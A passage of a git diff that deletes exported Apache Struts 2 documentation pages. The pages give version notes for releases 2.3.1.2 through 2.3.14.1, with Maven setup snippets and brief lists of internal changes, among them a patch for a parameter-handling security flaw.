-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27836158">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27836158">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27836158">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27836158">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.1.2 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2311.html">Version Notes 2.3.1.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.1.2&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.1.2/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.1.2-InternalChanges">Internal Changes</h2>
-
-<ul><li>Default acceptedParamNames were further updated to more restrictive values to solve security vulnerabilities in ParameterInterceptor.<br clear="none">
-Also a new method was added to ValueStack called setParameter to prevent remote code execution through the evaluation of parameter names. </li></ul>
-
-
-<h3 id="VersionNotes2.3.1.2-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" href="s2-009.html">S2-009</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.1.2-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318399">Struts 2.3.x TODO </a></li></ul>
-
-
-<h3 id="VersionNotes2.3.1.2-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23120.html b/content/docs/version-notes-23120.html
deleted file mode 100644
index 53ede5e..0000000
--- a/content/docs/version-notes-23120.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.12.0</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23120.html">Version Notes 2.3.12.0</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.12.0</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30746909">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30746909">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30746909">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30746909">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30746909">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30746909">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.12 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-238.html">Version Notes 2.3.8</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.12&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.12/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.12.0-InternalChanges">Internal Changes</h2>
-
-<ul><li>All validators were refactored and right now parameters can be set via OGNL also parameter <em>parse</em> was removed - <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-2923">WW-2923</a> - please be aware that param names changed a bit, review documentation <a shape="rect" href="validation.html">Validation</a></li><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae186 [...]
-
-
-<h3 id="VersionNotes2.3.12.0-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12324067">JIRA Release Notes 2.3.12</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.12.0-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323498">Struts 2.3.12 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323499">Struts 2.3.13 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.12.0-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2314.html b/content/docs/version-notes-2314.html
deleted file mode 100644
index fc76ed6..0000000
--- a/content/docs/version-notes-2314.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.14</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2314.html">Version Notes 2.3.14</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.14</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30759198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30759198">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30759198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30759198">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30759198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30759198">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.14 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-23120.html">Version Notes 2.3.12.0</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.14&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.14-InternalChanges">Internal Changes</h2>
-
-<ul><li>All the annotations related to validators were updated to match the implementing classes</li><li>The JUnit plugin supports now the Convention plugin configuration (check StrutsJUnit4ConventionTestCaseTest)</li><li>and other small improvments</li></ul>
-
-
-<h3 id="VersionNotes2.3.14-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?version=12324256&amp;projectId=12311041">JIRA Release Notes 2.3.14</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323782">Struts 2.3.14 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323783">Struts 2.3.15 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.14-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23141.html b/content/docs/version-notes-23141.html
deleted file mode 100644
index 7709a2d..0000000
--- a/content/docs/version-notes-23141.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.14.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23141.html">Version Notes 2.3.14.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.14.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818624">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818624">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
